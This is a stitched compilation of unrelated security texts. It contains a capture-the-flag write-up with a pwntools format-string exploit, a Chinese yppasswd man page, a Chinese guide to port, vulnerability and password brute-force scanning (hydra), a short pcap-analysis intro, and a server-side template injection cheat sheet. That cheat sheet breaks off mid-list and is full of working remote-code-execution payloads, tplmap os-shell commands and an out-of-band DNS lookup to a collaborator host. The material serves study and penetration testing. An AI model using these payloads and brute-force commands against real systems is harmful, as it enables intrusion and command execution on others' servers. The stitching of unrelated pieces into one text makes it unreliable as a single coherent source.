4. Add note to notebook.
5. Delete note.
9. Quit.
>
```
We can list the existing notes:
```
> 1
Here's a list of our notes:
- 00. length: 037, state: LIVE
- 01. length: 038, state: LIVE
- 02. length: 055, state: LIVE
- 03. length: 040, state: DELETED
- 04. length: 044, state: LIVE
- 05. length: 000, state: DELETED
- 06. length: 000, state: DELETED
- 07. length: 000, state: DELETED
- 08. length: 000, state: DELETED
- 09. length: 000, state: DELETED
```
Print a note:
```
> 2
Which note would you like to print out? 0
_______________________________________
< Shipping manifest #1337: Thingomabobs >
---------------------------------------
\ /\_/\
\ ( o.o )
> ^ <
```
Make a note draft:
```
> 3
Quote: Test
______
< Test >
------
\ /\_/\
\ ( o.o )
> ^ <
```
Add a new note:
```
> 4
Note: New Note
```
Or delete a note:
```
> 5
Which note would you like to delete? 2
Deleted.
```
Notice how the list of notes contained a deleted note with a length of `40`:
```
- 03. length: 040, state: DELETED
```
When we try to print it, we get:
```
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 3
_________
< DELETED >
---------
\ /\_/\
\ ( o.o )
> ^ <
```
We must find a different way to print it.
Time to reverse the program with Ghidra:
```c
DAT_001030e9 = "%d";
struct note_t {
char note[512];
int is_free;
};
void read_notes(note_t *p_notes)
{
int iVar1;
FILE *__stream;
int i;
i = 0;
__stream = fopen("notes.txt","r");
for (; i < 10; i = i + 1) {
iVar1 = __isoc99_fscanf(__stream,"%511[^\n]%*c",p_notes + i);
if (iVar1 == -1) break;
p_notes[i].is_free = 0;
}
fclose(__stream);
return;
}
void list(note_t *p_notes)
{
size_t note_len;
char *state;
uint i;
puts("Here\'s a list of our notes:");
for (i = 0; (int)i < 10; i = i + 1) {
if (p_notes[(int)i].is_free == 1) {
state = "DELETED";
}
else {
state = "LIVE";
}
note_len = strlen((char *)(p_notes + (int)i));
printf(" - %02d. length: %03d, state: %s\n",(ulong)i,note_len,state);
}
return;
}
void catsay(char *param_1)
{
// ... print note with figure of cat ...
}
void print_note(note_t *p_notes)
{
char *p_note_content;
long in_FS_OFFSET;
int note_index;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Which note would you like to print out? ");
__isoc99_scanf(&DAT_001030e9,¬e_index);
// Bad boundry check: negative
if (note_index < 10) {
if (p_notes[note_index].is_free == 1) {
p_note_content = "DELETED";
}
else {
p_note_content = (char *)(p_notes + note_index);
}
catsay(p_note_content);
}
else {
puts("This note doesn\'t exist. Try again. ");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
void draft_note(void)
{
long i;
undefined8 *p_note_chunk;
long in_FS_OFFSET;
char format [32];
char note [520];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
note._0_8_ = 0;
note._8_8_ = 0;
p_note_chunk = (undefined8 *)(note + 0x10);
for (i = 62; i != 0; i = i + -1) {
*p_note_chunk = 0;
p_note_chunk = p_note_chunk + 1;
}
format._0_8_ = 0;
format._8_8_ = 0;
format._16_8_ = 0;
format._24_8_ = 0;
printf("Quote: ");
snprintf(format,31,"%%%ds",511);
__isoc99_scanf(format,note);
catsay(note);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
void add_note(note_t *p_notes)
{
long lVar1;
long in_FS_OFFSET;
int i;
char format [32];
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
format._0_8_ = 0;
format._8_8_ = 0;
format._16_8_ = 0;
format._24_8_ = 0;
i = 0;
while ((i < 10 && (p_notes[i].is_free != 1))) {
i = i + 1;
}
if (i < 10) {
printf("Note: ");
snprintf(format,31,"%%%ds",511);
__isoc99_scanf(format,p_notes + i);
p_notes[i].is_free = 0;
}
else {
puts("Sorry, there are no available slots. Please delete something");
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
void delete_note(note_t *p_notes)
{
long in_FS_OFFSET;
int note_index;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Which note would you like to delete? ");
__isoc99_scanf(&DAT_001030e9,¬e_index);
// Bad boundry check: 10, negative.
// -1 will override i from main?
if (note_index < 11) {
p_notes[note_index].is_free = 1;
puts("Deleted.");
}
else {
puts("Out of bounds. Try again.");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
void menu(void)
{
puts("Please choose what you want to do:");
puts("1. List built-in note metadata.");
puts("2. Print out a built-in note.");
puts("3. Make a draft your note.");
puts("4. Add note to notebook.");
puts("5. Delete note.");
puts("9. Quit.");
printf("> ");
return;
}
undefined8 main(void)
{
long lVar1;
long in_FS_OFFSET;
int user_choice;
int i;
note_t notes [10];
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
for (i = 0; i < 10; i = i + 1) {
notes[i].is_free = 1;
notes[i].note[0] = '\0';
}
read_notes(notes);
notes[3].is_free = 1;
user_choice = 0;
puts("This is your confidential notebook.");
puts("This should get you through the next mission!");
puts("Good luck!\n");
do {
if (user_choice == 9) {
catsay("Byezzz!!!");
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return 0;
}
menu();
__isoc99_scanf(&DAT_001030e9,&user_choice);
switch(user_choice) {
default:
printf("Unknown option. Please choose again.");
break;
case 1:
list(notes);
break;
case 2:
print_note(notes);
break;
case 3:
draft_note();
break;
case 4:
add_note(notes);
break;
case 5:
delete_note(notes);
break;
case 9:
break;
}
} while( true );
}
```
Reviewing the code, we notice that the notes are saved in an array of 10 `note_t` members, which allocated 512 bytes for the note and an extra DWORD used as a boolean for indicating if the note is free.
We also can locate the following bugs in the implementation:
1. `delete_note` tests `note_index < 11` instead of `note_index < 10`, allowing us to write outside the note array: `p_notes[10].is_free = 1`.
2. `delete_note` and `print_note` read a signed integer via `scanf`, but don't check the index for negativity, allowing to leak some data or write a `1` via `note_t` aligned addresses.
However, these bugs turn out to be dead ends. The real vulnerability is much simpler: A format string vulnerability!
```
> 3
Quote: %x
____
< eb6cd008 >
----
\ /\_/\
\ ( o.o )
> ^ <
```
In order to exploit it, let's debug the program and check how far the leak is in relation to the note array. We'll use the functionality in `read_notes` to initialize our local copy with a few notes:
```console
┌──(user@kali)-[/media/sf_CTFs/google/11_Heathrow_-_Secret_Warehouse]
└─$ echo "First note\nSecond note\nThird note\nCTF{Fake_flag}\nFifth note" > notes.txt
┌──(user@kali)-[/media/sf_CTFs/google/11_Heathrow_-_Secret_Warehouse]
└─$ ./notebook
This is your confidential notebook.
This should get you through the next mission!
Good luck!
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 1
Here's a list of our notes:
- 00. length: 010, state: LIVE
- 01. length: 011, state: LIVE
- 02. length: 010, state: LIVE
- 03. length: 014, state: DELETED
- 04. length: 010, state: LIVE
- 05. length: 000, state: DELETED
- 06. length: 000, state: DELETED
- 07. length: 000, state: DELETED
- 08. length: 000, state: DELETED
- 09. length: 000, state: DELETED
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 3
_________
< DELETED >
---------
\ /\_/\
\ ( o.o )
> ^ <
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 9
___________
< Byezzz!!! >
-----------
\ /\_/\
\ ( o.o )
> ^ <
```
Notice how the forth note (`CTF{Fake_flag}`) is marked as deleted due to the command executed right after `read_notes`: `notes[3].is_free = 1;`.
Now we need to identify the `printf` that's responsible for the format string vulnerability. It's buried somewhere within `catsay`, in a function called `print_line`:
```c
int print_line(char *param_1,char *param_2,char *param_3,int param_4)
{
// ...
strncpy((char *)&local_48,param_1,4);
strncat((char *)&local_48,param_2,(long)local_50);
//...
strncat((char *)&local_48,local_70,4);
//...
printf((char *)&local_48);
//...
}
```
Time to debug. We place a breakpoint at `print_line`'s `printf` and run. We then enter a draft of `%p.%p.%p.%p.%p.%p.%p.%p` to leak a few values from the stack, and hit the breakpoint. At this point we dump the stack with the debugger:
```
gef> stack 200
0x00007fffffffce60│+0x0000: 0x00000017f7fb1540 ← $rsp
0x00007fffffffce68│+0x0008: 0x0000555555557008 → 0x5c2000203c003e20 (">"?)
0x00007fffffffce70│+0x0010: 0x00007fffffffcf10 → "%p.%p.%p.%p.%p.%p.%p.%p"
0x00007fffffffce78│+0x0018: 0x000055555555700b → 0x202f005c2000203c ("< "?)
0x00007fffffffce80│+0x0020: 0x000000000000000a
0x00007fffffffce88│+0x0028: 0x0000000000000017
0x00007fffffffce90│+0x0030: "< %p.%p.%p.%p.%p.%p.%p.%p >\n" ← $rdi
0x00007fffffffce98│+0x0038: "%p.%p.%p.%p.%p.%p >\n"
0x00007fffffffcea0│+0x0040: ".%p.%p.%p >\n"
0x00007fffffffcea8│+0x0048: 0x000000000a3e2070 ("p >\n"?)
0x00007fffffffceb0│+0x0050: 0x0000000000000000
0x00007fffffffceb8│+0x0058: 0x0000000000000000
0x00007fffffffcec0│+0x0060: 0x00007fffffff0000 → 0x0000000000000000
0x00007fffffffcec8│+0x0068: 0xc545c1ab5ecb2800
0x00007fffffffced0│+0x0070: 0x00007fffffffd120 → 0x00007fffffffd360 → 0x00007fffffffe7c0 → 0x00005555555560e0 → <__libc_csu_init+0> endbr64 ← $rbp
0x00007fffffffced8│+0x0078: 0x0000555555555800 → <catsay+287> jmp 0x5555555558b8 <catsay+471>
0x00007fffffffcee0│+0x0080: 0x00007fffffffd130 → 0x0000007331313525 ("%511s"?)
0x00007fffffffcee8│+0x0088: 0x00007fffffffd150 → "%p.%p.%p.%p.%p.%p.%p.%p"
0x00007fffffffcef0│+0x0090: 0x00007fffffffd130 → 0x0000007331313525 ("%511s"?)
0x00007fffffffcef8│+0x0098: 0x0000001700000001
...
0x00007fffffffd350│+0x04f0: 0x0000000000000000
0x00007fffffffd358│+0x04f8: 0xc545c1ab5ecb2800
0x00007fffffffd360│+0x0500: 0x00007fffffffe7c0 → 0x00005555555560e0 → <__libc_csu_init+0> endbr64
0x00007fffffffd368│+0x0508: 0x000055555555606c → <main+449> jmp 0x5555555560a2 <main+503>
0x00007fffffffd370│+0x0510: 0x00007fffffffe8b8 → 0x00007fffffffeb44 → "/media/sf_CTFs/google/11_Heathrow_-_Secret_Warehou[...]"
0x00007fffffffd378│+0x0518: 0x0000000100000000
0x00007fffffffd380│+0x0520: 0x0000000000000000
0x00007fffffffd388│+0x0528: 0x0000000a00000003
0x00007fffffffd390│+0x0530: "First note"
0x00007fffffffd398│+0x0538: 0x0000000000006574 ("te"?)
...
```
Now, stepping over the `printf`, we get the following output from the program:
```
gef> ni
< 0x555555557008.0x1b.0xffffffffffffffe3.0x4.0x252e70252e70252e.0x17f7fb1540.0x555555557008.0x7fffffffcf10 >
```
Now we match the output from `printf` to the stack: We can see that `0x17f7fb1540` is the first value from `printf` that appears in the stack dump, meaning that we need to adjust our `printf` offset to account for the 5 values printed before it. We also see that `First note` appears at `0x00007fffffffd390│`, so: `(0x00007fffffffd390 - 0x00007fffffffce60) / 8 == 166`. Altogether we get 172 QWORDs until the first note, let's double check that:
```
> 3
Quote: %172$p
________
< 0x6f6e207473726946 >
--------
\ /\_/\
\ ( o.o )
> ^ <
```
Which verifies our calculation:
```console
┌──(user@kali)-[/media/sf_CTFs/google/11_Heathrow_-_Secret_Warehouse]
└─$ python3 -c 'print(bytes.fromhex("6f6e207473726946")[::-1])'
b'First no'
```
Now, we want to jump from the first note to the forth one, so we need to add: `(sizeof(note_t) * 3) / 8 == 193`, which gives us overall: `172 + ((516 * 3) // 8) == 365`.
In order to recover the deleted note, we'll use the following script (which dumps QWORDs starting from offset `365` and takes care of reversing the output string due to the endianness):
```python
# First, generate a pwntools exploit via:
# pwn template --host pwn-notebook.2021.ctfcompetition.com --port 1337 ./notebook
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
def read_menu(io):
io.recvuntil(b'> ')
def make_draft(io, draft):
read_menu(io)
io.sendline(b'3')
io.recvuntil(b'Quote: ')
io.sendline(draft.encode())
io.recvuntil(b'< ')
res = io.recvuntilS(b' >', drop = True)
log.info(f"Creating draft: Sent: {draft}, got: {res}")
return res
io = start()
BASE_OFFSET = 365
note = ""
offset = 0
while "}" not in note:
res = format(int(make_draft(io, f"%{BASE_OFFSET + offset}$p"), 16), 'x')
decoded = unhex(res.rstrip('0')).decode()[::-1]
offset += 1
note += decoded
log.success(f"Deleted note recovered: '{note}'")
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/google/11_Heathrow_-_Secret_Warehouse]
└─$ python3 exploit.py
[*] '/media/sf_CTFs/google/11_Heathrow_-_Secret_Warehouse/notebook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to pwn-notebook.2021.ctfcompetition.com on port 1337: Done
[*] Creating draft: Sent: %365$p, got: 0x696d655200000000
[*] Creating draft: Sent: %366$p, got: 0x5443203a7265646e
[*] Creating draft: Sent: %367$p, got: 0x74616d726f667b46
[*] Creating draft: Sent: %368$p, got: 0x5f676e697274735f
[*] Creating draft: Sent: %369$p, got: 0x5f6568745f726f66
[*] Creating draft: Sent: %370$p, got: 0x7d6e6977
[+] Deleted note recovered: 'Reminder: CTF{format_string_for_the_win}'
[*] Closed connection to pwn-notebook.2021.ctfcompetition.com port 1337
```
|
sec-knowleage
|
.\" -*- nroff -*-
.\" Copyright (C) 1998, 1999 Thorsten Kukuk
.\" This file is part of the yp-tools.
.\" Author: Thorsten Kukuk <kukuk@suse.de>
.\"
.\" This program is free software; you can redistribute it and/or modify
.\" it under the terms of the GNU General Public License as published by
.\" the Free Software Foundation; either version 2, or (at your option)
.\" any later version.
.\"
.\" This program is distributed in the hope that it will be useful,
.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
.\" GNU General Public License for more details.
.\"
.\" You should have received a copy of the GNU General Public License
.\" along with this program; if not, write to the Free Software Foundation,
.\" Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
.\"
.TH yppasswd 1 "1998年5月" "YP Tools 2.4"
.SH NAME(名称)
yppasswd, ypchfn, ypchsh \- 修改你在NIS数据库中的密码
.SH SYNOPSIS(总览)
.B "yppasswd [-f] [-l] [-p] [user]"
.br
.B "ypchfn [user]"
.br
.B "ypchsh [user]"
.SH DESCRIPTION(描述)
在Linux中,标准的
.BR passwd (1),
.BR chfn (1)
和
.BR chsh (1)
不能够用来修改用户的NIS密码,shell和GECOS信息,它们只能修改本机上的密码文件.
要修改NIS信息,可以使用它们的NIS对应命令
.BR yppasswd ,
.B ypchfn
和
.BR ypchsh
来替代.
.P
这些命令都是同一个程序,只是链接为不同的名字罢了.
使用命令行选项,你可以选择是否更新你的密码
.BR \-p ,
你的登录shell
.BR \-l ,
你的GECOS字段
.BR \-f ,
还是它们的并集.
如果没有指定其它选项的话,
.B yppasswd
暗含了
.B \-p
选项.如果你使用了
.B \-f
或者
.B \-l
选项,你也需要添加
.B \-p
标识。
.B ypchfn
暗含了
.B \-f
选项,而
.B ypchsh
则暗含了
.BR \-l
选项.
.P
当不带
.I user
参数调用时,正在调用命令的用户的账号信息将被更新,
否则更新
.I user
的信息.该选项只对超级用户有用.如果服务器上的yppasswdd后台守护程序支持,你可以指定服务器的root密码来替换用户[老的]密码.
.P
所有工具首先会提示用户当前NIS密码需要使用
.BR yppasswdd (8)
后台守护程序认证.随后,程序提示以下更新信息:
.\"
.\"
.IP "\fByppasswd\fP或\fB-l\fP"
修改用户的NIS密码.提示用户输入新的密码.
当输入密码时,响应是关闭的,这样密码不会显示在屏幕上.拒绝空的密码,这是因为密码短于6个字符.用户然后会要求重新输入密码以确证第一次没有拼错.
.\"
.\"
.IP "\fBypchsh\fP or \fB-l\fP"
修改用户的登录shell.提示用户输入新的shell,老的shell作为默认值:
.IP
.in +2n
.ft B
.nf
Login shell [/bin/sh]: _
.fi
.ft
.in
.IP
要接受默认值,只需按回车.要清除在你的
.BR passwd (5)
文件中的shell字段(这样会选定系统的默认shell),
输入字符串
.IR none .
.\"
.\"
.IP "\fBypchfn\fP or \fB-f\fP"
修改用户的全名和相关信息.按照惯例,一些应用程序需求
.BR passwd (5)
文件的GECOS字段(字段4)包含用户的真名(与登录名相对应)和一些如办公室电话号码之类的附加信息.这些信息通过
.BR finger (1)
和其他一些可能的工具显示.
.IP
当设置全名时,
.B ypchfn
显示以下提示,默认值使用方括号括起:
.IP
.in +2n
.ft B
.nf
Name [Joe Doe]:
Location [2nd floor, bldg 34]:
Office Phone [12345]:
Home Phone []:
.fi
.ft
.in
.IP
要接受默认值,只需按回车.要清除一个字段,则输入
字符串
.IR none .
.SH SEE ALSO(另见)
.BR chfn (1),
.BR chsh (1),
.BR finger (1),
.BR passwd (5),
.BR passwd (1),
.BR ypcat (1),
.BR yppasswdd (8),
.BR ypserv (8),
.BR ypwhich (1)
.LP
.SH AUTHOR(作者)
.B yppasswd
是
.B yp-tools
包的一部分,由Thorsten Kukuk <kukuk@suse.de>写成.
.SH "[中文版维护人]"
.B riser <boomer@ccidnet.com>
.SH "[中文版最新更新]"
.BR 2000/12/14
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 主机安全扫描
针对主机安全扫描主要包括:端口开放扫描与访问控制扫描、漏洞扫描与弱口令扫描。
针对企业内部安全扫描应该分为两种类型:内部扫描与外部扫描,这里的内化划分应该是网络分界的划分;内部扫描主要用于发现内部的安全隐患,外部扫描主要是站在攻击者的角度发现安全隐患。
## 端口扫描
端口扫描应该包括:操作系统信息扫描、端口开放扫描、服务探测(服务版本信息)等等。
### 端口扫描的思路
* 端口开放扫描:全端口扫描,快速扫描;
* 端口服务信息扫描:开放端口扫描,慢速扫描;
利用工具进行扫描的思路:
```
1.利用masscan进行全端口存活性扫描,由于masscan扫描可能不精准,可以扫描两次做并集操作;
2.利用nmap对masscan扫描出来的存活端口进行服务探测;
3.扫描结果入库,包括:IP、Port、Service、Service Banner、OS Banner等等
```
端口扫描的另类思路:利用主机入侵检测agent采集端口开放信息,这部分的信息与内部扫描的结果会有重合,也就是说我们可以利用主机入侵检测来获取内部端口扫描结果。
### 端口扫描的工具
* **nmap**
centos7 安装 nmap
```
yum install nmap.x86_64 -y
```
nmap常用命令
```
```
* **masscn**
[github地址](https://github.com/robertdavidgraham/masscan)
ubuntu/debian 安装 masscan
```
sudo apt-get install git gcc make libpcap-dev
git clone https://github.com/robertdavidgraham/masscan
cd masscan
make
```
centos7 安装 masscan
```
# 下载地址:https://pkgs.org/download/masscan
# 利用下载的RPM包直接进行安装
wget http://dl.fedoraproject.org/pub/epel/7/x86_64/Packages/m/masscan-1.0.3-5.el7.x86_64.rpm
yum install libpcap-devel.x86_64 -y
rpm -ivh masscan-1.0.3-5.el7.x86_64.rpm
# yum进行安装
vim /etc/yum.repos.d/nux-misc.repo
```
```
[nux-misc]
name=Nux Misc
baseurl=http://li.nux.ro/download/nux/misc/el7/x86_64/
enabled=0
gpgcheck=1
gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro
```
```
# 安装
yum --enablerepo=nux-misc install masscan
```
* **zmap**
[github地址](https://github.com/zmap/zmap)
centos7 安装 zmap
```
yum install zmap.x86_64 -y
```
## 漏洞扫描
对服务版本漏洞、操作系统漏洞等进行扫描
### 漏洞扫描工具
* **Nessus**
[Nessus下载地址](https://www.tenable.com/downloads/nessus)
[Nessus注册地址](https://www.tenable.com/products/nessus-home)
Centos7 安装nessus
```
# 下载rpm包进行安装
#启动服务
systemctl start nessus.service
# 激活
/opt/nessus/sbin/nessuscli fetch --register ****-****-****-****-****
# 注册用户
/opt/nessus/sbin/nessuscli adduser
# 访问:https://localhost:8834
```
* **OpenVAS**
## 弱口令扫描
弱口令扫描也是漏洞扫描的一种,只不过弱口令扫描算是比较特殊的一类漏洞。
### 弱口令扫描工具
* **hydra**
centos7 安装 hydra:[Linux版本](https://github.com/vanhauser-thc/thc-hydra)
```
yum install epel-release -y
yum install hydra.x86_64 -y
```
windows 安装 hydra:[hydra Windows版本](https://github.com/maaaaz/thc-hydra-windows)
hydra使用
```
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L user.txt -P pass.txt protocol://ip
```
* **medusa**
与hydra类似的工具,使用方式也类似。
* **x-scan**
* **bruter**
[下载地址](https://sourceforge.net/projects/worawita/)
|
sec-knowleage
|
# 流量包分析简介
CTF 比赛中,流量包的取证分析是另一项重要的考察方向。
通常比赛中会提供一个包含流量数据的 PCAP 文件,有时候也会需要选手们先进行修复或重构传输文件后,再进行分析。
PCAP 这一块作为重点考察方向,复杂的地方在于数据包里充满着大量无关的流量信息,因此如何分类和过滤数据是参赛者需要完成的工作。
总的来说有以下几个步骤
- 总体把握
- 协议分级
- 端点统计
- 过滤赛选
- 过滤语法
- Host,Protocol,contains,特征值
- 发现异常
- 特殊字符串
- 协议某字段
- flag 位于服务器中
- 数据提取
- 字符串取
- 文件提取
总的来说比赛中的流量分析可以概括为以下三个方向:
- 流量包修复
- 协议分析
- 数据提取
|
sec-knowleage
|
# Server Side Template Injection
> Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages
## Summary
- [Templates Injections](#templates-injections)
- [Summary](#summary)
- [Tools](#tools)
- [Methodology](#methodology)
- [ASP.NET Razor](#aspnet-razor)
- [ASP.NET Razor - Basic injection](#aspnet-razor---basic-injection)
- [ASP.NET Razor - Command execution](#aspnet-razor---command-execution)
- [Expression Language EL](#expression-language-el)
- [Expression Language EL - Basic injection](#expression-language-el---basic-injection)
- [Expression Language EL - One-Liner injections not including code execution](#expression-language-el---one-liner-injections-not-including-code-execution)
- [Expression Language EL - Code Execution](#expression-language-el---code-execution)
- [Java - Freemarker](#freemarker)
- [Freemarker - Basic injection](#freemarker---basic-injection)
- [Freemarker - Read File](#freemarker---read-file)
- [Freemarker - Code execution](#freemarker---code-execution)
- [Freemarker - Sandbox bypass](#freemarker---sandbox-bypass)
- [Groovy](#groovy)
- [Groovy - Basic injection](#groovy---basic-injection)
- [Groovy - Read and create File](#groovy---read-and-create-file)
- [Groovy - HTTP request:](#groovy---http-request)
- [Groovy - Command Execution](#groovy---command-execution)
- [Groovy - Sandbox Bypass](#groovy---sandbox-bypass)
- [JavaScript - Handlebars](#handlebars)
- [Handlebars - Command Execution](#handlebars---command-execution)
- [Jade / Codepen](#jade--codepen)
- [Java](#java)
- [Java - Basic injection](#java---basic-injection)
- [Java - Retrieve the system’s environment variables](#java---retrieve-the-systems-environment-variables)
- [Java - Retrieve /etc/passwd](#java---retrieve-etcpasswd)
- [Django Templates](#django-templates)
- [Python - Jinja2](#jinja2)
- [Jinja2 - Basic injection](#jinja2---basic-injection)
- [Jinja2 - Template format](#jinja2---template-format)
- [Jinja2 - Debug Statement](#jinja2---debug-statement)
- [Jinja2 - Dump all used classes](#jinja2---dump-all-used-classes)
- [Jinja2 - Dump all config variables](#jinja2---dump-all-config-variables)
- [Jinja2 - Read remote file](#jinja2---read-remote-file)
- [Jinja2 - Write into remote file](#jinja2---write-into-remote-file)
- [Jinja2 - Remote Code Execution](#jinja2---remote-code-execution)
- [Forcing output on blind RCE](#jinja2---forcing-output-on-blind-rce)
- [Exploit the SSTI by calling os.popen().read()](#exploit-the-ssti-by-calling-ospopenread)
- [Exploit the SSTI by calling subprocess.Popen](#exploit-the-ssti-by-calling-subprocesspopen)
- [Exploit the SSTI by calling Popen without guessing the offset](#exploit-the-ssti-by-calling-popen-without-guessing-the-offset)
- [Exploit the SSTI by writing an evil config file.](#exploit-the-ssti-by-writing-an-evil-config-file)
- [Jinja2 - Filter bypass](#jinja2---filter-bypass)
- [Java - Jinjava](#jinjava)
- [Jinjava - Basic injection](#jinjava---basic-injection)
- [Jinjava - Command execution](#jinjava---command-execution)
- [JavaScript - Lessjs](#lessjs)
- [Lessjs - SSRF / LFI](#lessjs---ssrf--lfi)
- [Lessjs < v3 - Command Execution](#lessjs--v3---command-execution)
- [Plugins](#plugins)
- [Python - Mako](#mako)
- [Direct access to os from TemplateNamespace:](#direct-access-to-os-from-templatenamespace)
- [Java - Pebble](#pebble)
- [Pebble - Basic injection](#pebble---basic-injection)
- [Pebble - Code execution](#pebble---code-execution)
- [Ruby](#ruby)
- [Ruby - Basic injections](#ruby---basic-injections)
- [Ruby - Retrieve /etc/passwd](#ruby---retrieve-etcpasswd)
- [Ruby - List files and directories](#ruby---list-files-and-directories)
- [Ruby - Code execution](#ruby---code-execution)
- [PHP - Smarty](#smarty)
- [PHP - Twig](#twig)
- [Twig - Basic injection](#twig---basic-injection)
- [Twig - Template format](#twig---template-format)
- [Twig - Arbitrary File Reading](#twig---arbitrary-file-reading)
- [Twig - Code execution](#twig---code-execution)
- [Java - Velocity](#java---velocity)
- [Java - Spring](#java---spring)
- [PHP - patTemplate](#pattemplate)
- [PHP - PHPlib](#phplib-and-html_template_phplib)
- [PHP - Plates](#plates)
- [References](#references)
## Tools
Recommended tools:
[Tplmap](https://github.com/epinna/tplmap) - Server-Side Template Injection and Code Injection Detection and Exploitation Tool
e.g:
```powershell
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
[SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [Tplmap](https://github.com/epinna/tplmap)
e.g:
```powershell
python3 ./sstimap.py -u 'https://example.com/page?name=John' -s
python3 ./sstimap.py -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e jade
python3 ./sstimap.py -i -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'
```
## Methodology
---
## Detection
In most cases, this polyglot payload will trigger an error in presence of a SSTI vulnerability :
```
${{<%[%'"}}%\.
```
## ASP.NET Razor
[Official website](https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c)
> Razor is a markup syntax that lets you embed server-based code (Visual Basic and C#) into web pages.
### ASP.NET Razor - Basic injection
```powershell
@(1+2)
```
### ASP.NET Razor - Command execution
```csharp
@{
// C# code
}
```
---
## Expression Language EL
[Official website](https://docs.oracle.com/javaee/6/tutorial/doc/gjddd.html)
> Expression Language (EL) is mechanism that simplifies the accessibility of the data stored in Java bean component and other object like request, session and application, etc. There are many operators in JSP that are used in EL like arithmetic and logical operators to perform an expression. It was introduced in JSP 2.0
### Expression Language EL - Basic injection
```java
${<property>}
${1+1}
#{<expression string>}
#{1+1}
T(<javaclass>)
```
### Expression Language EL - Properties
* Interesting properties to access `String`, `java.lang.Runtime`
```ps1
${2.class}
${2.class.forName("java.lang.String")}
${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}
```
### Expression Language EL - One-Liner injections not including code execution
```java
// DNS Lookup
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}
// JVM System Property Lookup (ex: java.class.path)
${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}
// Modify session attributes
${pageContext.request.getSession().setAttribute("admin",true)}
```
### Expression Language EL - Code Execution
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
// Method using Runtime
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
// Method using process builder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('whoami')}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using JavaClass
T(java.lang.Runtime).getRuntime().exec('whoami').x
// Method using ScriptEngineManager
